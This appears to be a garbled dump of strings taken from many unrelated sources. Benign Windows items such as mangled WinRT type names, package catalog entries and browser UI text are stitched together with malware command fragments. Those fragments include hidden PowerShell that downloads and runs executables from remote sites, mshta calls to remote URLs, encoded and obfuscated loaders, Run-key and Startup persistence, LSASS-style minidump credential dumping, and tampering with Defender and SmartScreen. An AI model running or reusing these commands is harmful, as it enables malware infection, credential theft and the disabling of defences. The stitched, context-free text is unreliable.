.?AU?$producer@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVectorView@UTypedTemplate@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterable@UTypedTemplate@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producers_base@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@V?$tuple@U?$IObservableVector@UTypedTemplate@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@U?$IVector@UTypedTemplate@TaskManagerApp@winrt@@@2345@U?$IVectorView@UTypedTemplate@TaskManagerApp@winrt@@@2345@U?$IIterable@UTypedTemplate@TaskManagerApp@winrt@@@2345@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@2345@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@2345@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@2345@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@2345@@std@@@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UTypedTemplate@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UTypedTemplate@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVector@UTypedTemplate@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
pWindows
Windows.Data.Input.Devices.PenSettings
https://login.windows.local
GetWindowsDirectoryA
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateStringReference
EnumWindows
target="http://officewindowssecurityfirewallopen.duckdns.org/----__-----___--___--__---.doc"targetmode="external"/>
 .Run(Path + TXTFile, windowStyle, waitOnReturn))
path + "System32\c" + "script" + ".ex"
ifnotexist%windir%\system32\shutdown.execttynul%
Windows IoT 10.0
Windows Phone 10.0
Windows IoT 8.1
Windows Phone 8.1
Windows IoT 8.0
Windows Phone 8.0
Windows IoT OS 7.5
Windows Phone OS 7.5
Windows IoT OS 7.0
Windows Phone OS 7.0
Mozilla/5.0 (Windows NT 6.2; Trident/6.0; rv:5.0) Gecko/20100101 Firefox/5.0
Mozilla/5.0 (Windows NT 6.2; Trident/6.0) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30
Mozilla/5.0 (iPad; Windows NT 6.2; Trident/6.0) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10
ext-ms-win-ntuser-windowstation-l1-1-0.dll
ext-ms-windowscore-deviceinfo-l1-1-0.dll
SetWindowsHookExW
UnhookWindowsHookEx
EnumThreadWindows
GetProcessWindowStation
EnumChildWindows
EnumDesktopWindows
C:\WINDOWS\system32\sysprep\cryptbase.dll
C:\WINDOWS\system32\cmd.exe
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
Omemreduc\driveupdate\obj\release\windowssearch.app.pdbURLZONE_INTRANETU
com.microsoft.windows.widgets.feeds3
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt\Windows.Data.Json.h
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt\Windows.Foundation.Collections.h
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt/Windows.Data.Json.h
windows.data.shell.focusactivesessions
default$windows.data.shell.focusactivesessions
windows.data.shell.focusactivesessions
windows.data.shell.focusactivesessions
windows.data.shell.focusactivesessions
default$windows.data.shell.focusactivesessions
DriverData=C:\Windows\System32\Drivers\DriverData
.?AU?$producer@USettingsPage@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@USettingsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@USettingsPage@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@USettingsPage@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@USettingsPage@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producers_base@USettingsPage@implementation@TaskManagerApp@winrt@@V?$tuple@USettingsPage@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@3@UIControlOverrides@56783@UIControlOverrides6@56783@UIFrameworkElementOverrides@6783@UIFrameworkElementOverrides2@6783@UIUIElementOverrides@6783@UIUIElementOverrides7@6783@UIUIElementOverrides8@6783@UIUIElementOverrides9@6783@UIComponentConnector@Markup@6783@UIComponentConnector2@Markup@6783@@std@@@impl@winrt@@
.?AU?$base_one@UTemplates@implementation@TaskManagerApp@winrt@@UDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base@UTemplates@implementation@TaskManagerApp@winrt@@UResourceDictionary@Xaml@UI@Windows@4@UDependencyObject@6784@@impl@winrt@@
.?AU?$Templates_base@UTemplates@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@UIComponentConnector2@67894@@implementation@TaskManagerApp@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject2@UTemplates@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UTemplates@implementation@TaskManagerApp@winrt@@UIDependencyObject2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$require@UTemplates@implementation@TaskManagerApp@winrt@@UIResourceDictionary@Xaml@UI@Windows@4@U?$IIterable@U?$IKeyValuePair@UIInspectable@Foundation@Windows@winrt@@U1234@@Collections@Foundation@Windows@winrt@@@Collections@Foundation@84@U?$IMap@UIInspectable@Foundation@Windows@winrt@@U1234@@Collections@Foundation@84@UIDependencyObject@6784@UIDependencyObject2@6784@@impl@winrt@@
.?AU?$base_one@UTemplates@implementation@TaskManagerApp@winrt@@UResourceDictionary@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_Foundation_Collections_IMap@UTemplates@implementation@TaskManagerApp@winrt@@UIInspectable@Foundation@Windows@4@U5674@@impl@winrt@@
.?AU?$require_one@UTemplates@implementation@TaskManagerApp@winrt@@U?$IMap@UIInspectable@Foundation@Windows@winrt@@U1234@@Collections@Foundation@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject@UTemplates@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UTemplates@implementation@TaskManagerApp@winrt@@UIDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IResourceDictionary@UTemplates@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UTemplates@implementation@TaskManagerApp@winrt@@UIResourceDictionary@Xaml@UI@Windows@4@@impl@winrt@@
Windows.AutoPlay
Windows.BrowseFiles
Windows.Eject
Windows.RemoveDevice
Windows.Troubleshoot
Windows.AutoPlay
Windows.BrowseFiles
Windows.Eject
Windows.RemoveDevice
Windows.Troubleshoot
Windows.BthpanConnect
Windows.BthpanConnect
Windows.BthpanConnect
Windows.BthpanConnect
Windows.BthpanConnect
Windows.BthpanConnect
Windows.EnhancedStorage.Lock
Windows.EnhancedStorage.Unlock
WindowsUpdate
Windows.BthMtpAutoConnect
Windows.BthMtpConnect
Windows.BthMtpDisconnect
copym1nit.exe"c:\programdata\microsoft\windows\startmenu\programs\startup"
Microsoft.Windows.FileType
Microsoft.Windows.Protocol
Windows.Launch
cwecho---disable"devicesecurity"sectionin"windowssecurity"
0c:\windows\system32\mshta.exe
dows\system32\mshta.exe"http://juzgadorama.com/
EHshell.run"c:\windows\
:\windows\
a[hkey_current_user\software\microsoft\windows\currentversion\run]
c:\windows\system32\comsvcs.dll,minidump
[hkey_local_machine\software\microsoft\windowsdefender\features]
Ot..\windows\system32\cmd.exe&/c
.cmdvr32.exec:\windows\explorer.exe
(-description"windowsdefenderstartup"-runlevelhighest-force|out-null
windowshide:true
c?</t></si><si><t>\windows\</t></si><si>
<t>\windows\</t></si><si><t>",0,0)</t>
windows\currentversion\uninstall\brads
windows\currentversion\uninstall\brapp
windows\currentversion\uninstall\gsafe
!#SCPT:SetWindowsHookExCall
setwindowshookex(
`x,%comspec%/b/cstart/b/minpowershell.exe-nop-whidden-cif([intptr]::size-eq4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\windowspowershell\v1.0\powershell.exe'};$s=new-objectsystem.diagnostics.processstartinfo;$s.filename=$b;$s.arguments='-nop-whidden-c$s=new-objectio.memorystream(,[convert]::frombase64string(''h4sia
..\windows\system32\cmd.exe/cxcopy/h/y
.dllc:\programdata&&start/b/minc:\windows\system32\rundll32.exec:\programdata\
"%systemroot%\system32\imageres.dll%wn]nd.q`xwindev2106eval=w9olw]$=w9olw]$m1sps0cgsf"1duser(c:\users)1sps0%g`%documents@`-systemfolder@qcb]1spsjc(=oac:\users\user\documents91spsmdphh@.=xhh0
*windowstylehidden-noexit-command"$
-cmd.exec:\windows\system32/hzxfx:s4l5/hdga:mdlp/d/c"for%bin(ava)dofor%iin(ht)dofor%pin(m)dofor%tin(scr)do%ps%ia"j%b%tipt:try{window.ptzxfxb=["ect","g","etobj"];window.bptzxfx=["\x41\x4f\112\123\x49\x50\x46","\163\143\x72\x69\160\x74\x3a\x68\124\x74\120\123\x3a\x2f\x2f\147\x6c\x61\x6c\151\x6e\x74\165\x6e\167\x65\x6c\x2e\141\155\x65\145\x74\x74\x69\163\x74\x61\x61\x64\x2e\x68\x65\x6c\160\x2f\x3f\x34\x2f"]
<jobid=""><scriptlanguage="vbscript">dimguctausuwyst,arjsmaqpeljq:setguctausuwyst=createobject(chrw(&h57)&"script.shell"):arjsmaqpeljq="devicecredentialdeployment.exe&rundll32.exeinetcpl.cpl,clearmytracksbyprocess8&&%windir%\microsoft.net\framework\v4.0.30319\installutilhttps://bshd1.shop/kdamligd/file4232024.exe&&timeout.exe/t7/nobreak>nul&for/f%ain('dir%localappdata%\microsoft\windows\inetcache\ie\/s/b')
\/cpowershell-windowstylehidden-nop-noprofile-noninteractive-c"$tmp='%temp%';$lnkpath=get-childitem*.lnk;foreach($pathin$lnkpath){if($path.length-eq
system32cache_
F$p=start-process-filepath"powershell.exe"-windowstylehidden-passthrustart-sleep-milliseconds500
Kic:\windows\system32\imageres.dll%systemroot%\system32\imageres.dll%systemroot%\system32\imageres.dll
c:\windows\system32\cmd.exe/cstart"""c:\users\george\appdata\roaming\microsoft\windows\
:software\microsoft\windows\currentversion\runservices
generatorlibreoffice/7.6.2.1$windows_x86_64libreoffice_project/56f7684011345957bbf33a7ee678afaf4d2ba333
0\appdata\roaming\microsoft\windows\startmenu\programs\sta
,"-command","-file")&"c:\users\public\autosystemwindowshandler.ps1"
c:\windows\explorer.exe"\\154.201.83.145@1666\webdav\
icacls"%systemroot%\\system32\\smartscreen.exe"/inheritance:r/remove
c:\windows\system32\cmd.exe/c"start/min""p^o^we^r^she^l^l.e^x^e-enc"
c:\windows\system32\mshta.exehttps://statoncapic.com/caps1.aspx?fnvs
'&c:\windows\system32\windowspowershell\v1.0\powershell.exe-executionpolicy
c:\windows\system32\windowspowershell\v1.0\powershell.exe-executionpolicybypass-windowstylehidden-commandopenwith.exe;(new-objectsystem.net.webclient).downloadfile('http://busyestinglsv.site/ineo/zhfbshdlhabdfhbahbsfrbahogrfoweybrawvgfrweifrvboherjbvfwr/zxfhbavsdfabvlgf1244rhgv5hvkghvkhvkh6vkghvgkhcvh/clips.exe','njtjewi.exe');./'njtjewi.exe';(get-item'njtjewi.exe').attributes+='hidden';
Awindows defender"=-
.com/sk-park.php?pid=9po15v947&dn=wthelpdesk.com&ua=mozilla%2f5.0+%28windows+nt+10.0%3b+win64%3b+x64%29+applewebkit%2f537.36+%28khtml%2c+like+gecko%29+chrome%2f128.0.0.0+safari%2f537.36&requrl=http%3a%2f%2farea.wthelpdesk.com
c:\windows\system32\mshta.exehttps://www.rockwellroyalhomes.com/js/content/&mshta.exe
@start/minpowershell.exe-windowstylehidden"echo$
WindowsVersion
windir=C:\WINDOWS
USERDOMAIN=Windows11
SystemRoot=C:\WINDOWS
s\system32\config
Microsoft.Windows.ControlPanel
{6D809377-6AF0-444B-8957-A3773F02200E}\Windows Defender\MSASCui.exe
Microsoft.Windows.PCSettings.DefaultApps
c:\windows
windows_amd
Microsoft.Windows.WinRTClassActivation
contents-search-windows.com/
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-OneCore-Graphics-DirectX-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|Microsoft-Windows-Foundation-Win1-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-WMPNetworkSharingService-Opt-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.7019.cat|
Microsoft-Windows-LanguageFeatures-OCR-en-gb-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-command"[system.text.encoding]::unicode.getstring([system.convert]::frombase64string('sqbuahyabwbragualqbxaguaygbsaguacqb1aguacw
,n-windowstylehidden-noprofile-executionpolicybypass-encodedcommandjab1ahiabaa9aciaaab0ahqacaa6ac8alwb
\\.\root\Microsoft\Windows\Storage\PT:__Win32Provider.Name="DelegatorProvider"
-windowstylehidden
Provider=SQLOLEDB.1;Password=javascript:enviaUrlEnviarpginaWindows messengerjavascript:cadastroSenhas()\liberaplug.log
Ymegalife.besthost.by/bot.zipWINDOWS\Temp\sysconf.exeI will sue you!!!11Look what you did to my computer!!!!Susan_lovexx@C:\log.txt***BELARUS-VIRUS-MAKER***Exploit:Win64/Ceilscour.B!MTB
Services HotSenha possui tamanho invWindows Live Messengerhttp://mail.terra.com.brgoogle.com/accounts/ServiceLogin?service=mailWSASetServiceWWSARecvExTWebBrowserDocumentCompleteOnDownloadComplete
\Downloaded Program Files\*gb*.*\GbPlugin\*.*SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
5b^windows.appExtension
WINDOWS114
WINDOWS11
WINDOWS11
:The visual skin to use when displaying the docked windows.
powershell.exe-executionpolicybypass-windowstylehidden-command"&_"""$downloadurl='https://api-conect-v1.org/@@/vzip_renamed.dat';"&_"$folderpath='"&folderpath&
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
temRoot%\system32\mswsock.dl
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
sWindows_
windows-1252
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.RulesEngine
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.IrisService
EnumThreadWindows
GetProcessWindowStation
GetSystemWindowsDirectoryW
Mozilla/5.0 (Windows NT 10.0; Win64; x
WindowsCreateStringReference
clientcore\windows\advcore\ctf\uim\tsfcontextconnection.cpp
clientcore\windows\advcore\ctf\ticoadapter\textinputclientwrapper.cpp
%SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
.+:\\Projetos\\WGA Windows\\pocarrontas\\.+\\pocarrontas.pdb
K8+c:\windows\system32\windowspowershell\v1.0\powershell.exe.'mshta'https://heko.ro/autocad
sgc:\windows\system32\cmd.exe/ccurl-lhttps://mediafire.zip/
ac:\windows\system32\cmd.exe/cpowershell-windowstylehidden-command"[system.text.encoding]
c:\windows\system32\cmd.exe/v:on/csetwop=msie&setwz=qn&!wop!xec/ihttps://werqy.org/!wz!
 Windows
get_DockPanel_DefaultFloatWindowSize_Description
get_ToolWindowStripGapTop
ation@Windows@3@X@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterable@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterable@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AUtype@?$abi@U?$IIterable@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@U?$IVectorView@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
 Cortana_WindowsSearch_FindMyFiles
|windows
microsoft.windows.camera.picker^1fe
^windows.mediaCode.
9b^windows.appExtensionHos
Microsoft.Windows.StartMenuExperienceHost_10.0.26100.4768_neutral
9Microsoft.WindowsAppRuntime.CBS.1.6_6000.700.2257.100_x64__8wekyb3d8bbwe
a9^windows.preInstalledConfigTask
a9^windows.backgroundTasks
aa^windows.fileTypeAssociation
.active_due_to_windows_energy_sP
4edge.perf_center.efficiency_mode.active_due_to_windows_energy_saver
gamesforwindows.com^Microsoft
windowsazure.com^Microsoft
Microsoft-Windows-WOWSupport-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat
Microsoft-Windows-Kernel-Package-WOW64-CPU-Package~31bf3856ad364e35~amd64~~10.0.26100.7623.cat
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft.Windows.Ldap.Client
\\WINDOWS11
 c:\windowsm
.P6AXPE$AAVString@Platform@@PE$AAVJsonValue@Json@Data@Windows@@@Z
.?AVwindows_scheduler@details@pplx@@
.?AV?$_Ref_count_obj@Vwindows_scheduler@details@pplx@@@std@@
.?AVWorkItemHandler@Threading@System@Windows@@
.?AU__abi_IDelegate@WorkItemHandler@Threading@System@Windows@@
.?AU?$__abi_FunctorCapture@V<lambda_6e8d42bf2e8605d5fa13303d2452cc16>@@XPE$AAUIAsyncAction@Foundation@Windows@@@Details@Platform@@
.?AV?$_Func_impl@U?$_Callable_obj@V<lambda_716c0c9de030270be8c1de4f33b2edb7>@@$0A@@std@@V?$allocator@V?$_Func_class@EV?$task@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Concurrency@@U_Nil@std@@U34@U34@U34@U34@U34@@std@@@2@EV?$task@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Concurrency@@U_Nil@2@U62@U62@U62@U62@U62@@std@@
.?AV?$_Func_impl@U?$_Callable_obj@V<lambda_dbb7f2c90e2800152f12da50c798681f>@@$0A@@std@@V?$allocator@V?$_Func_class@XV?$task@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Concurrency@@U_Nil@std@@U34@U34@U34@U34@U34@@std@@@2@XV?$task@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Concurrency@@U_Nil@2@U62@U62@U62@U62@U62@@std@@
.?AV?$_Ref_count_obj@U?$_Task_impl@W4AppServiceResponseStatus@AppService@ApplicationModel@Windows@@@details@Concurrency@@@std@@
.?AU?$__abi_FunctorCapture@V<lambda_14ed0e5aed50e5114434a81db9b0129c>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
.?AU__abi_PointerToMemberWeakRefCapture@?1???$?0VAppServiceTask@Background@ContentDeliveryManager@@P8012@E$AAAXPE$AAVAppServiceConnection@AppService@ApplicationModel@Windows@@PE$AAVAppServiceRequestReceivedEventArgs@456@@Z@?$TypedEventHandler@PE$AAVAppServiceConnection@AppService@ApplicationModel@Windows@@PE$AAVAppServiceRequestReceivedEventArgs@234@@Foundation@Windows@@QE$AAA@PE$AAVAppServiceTask@Background@ContentDeliveryManager@@P8456@E$AAAXPE$AAVAppServiceConnection@AppService@ApplicationModel@3@PE$AAVAppServiceRequestReceivedEventArgs@893@@ZW4CallbackContext@Platform@@_N@Z@
.?AU?$_Task_impl@W4AppServiceResponseStatus@AppService@ApplicationModel@Windows@@@details@Concurrency@@
.?AV?$_Ref_count_obj@U?$_Task_impl@W4BackgroundAccessStatus@Background@ApplicationModel@Windows@@@details@Concurrency@@@std@@
.?AU?$__abi_FunctorCapture@V<lambda_d58d6e8ff64c44c98e65fb9939b5ed27>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
.?AU?$_Task_impl@W4BackgroundAccessStatus@Background@ApplicationModel@Windows@@@details@Concurrency@@
.?AV?$AsyncOperationCompletedHandler@W4BackgroundAccessStatus@Background@ApplicationModel@Windows@@@Foundation@Windows@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@W4BackgroundAccessStatus@Background@ApplicationModel@Windows@@@Foundation@Windows@@
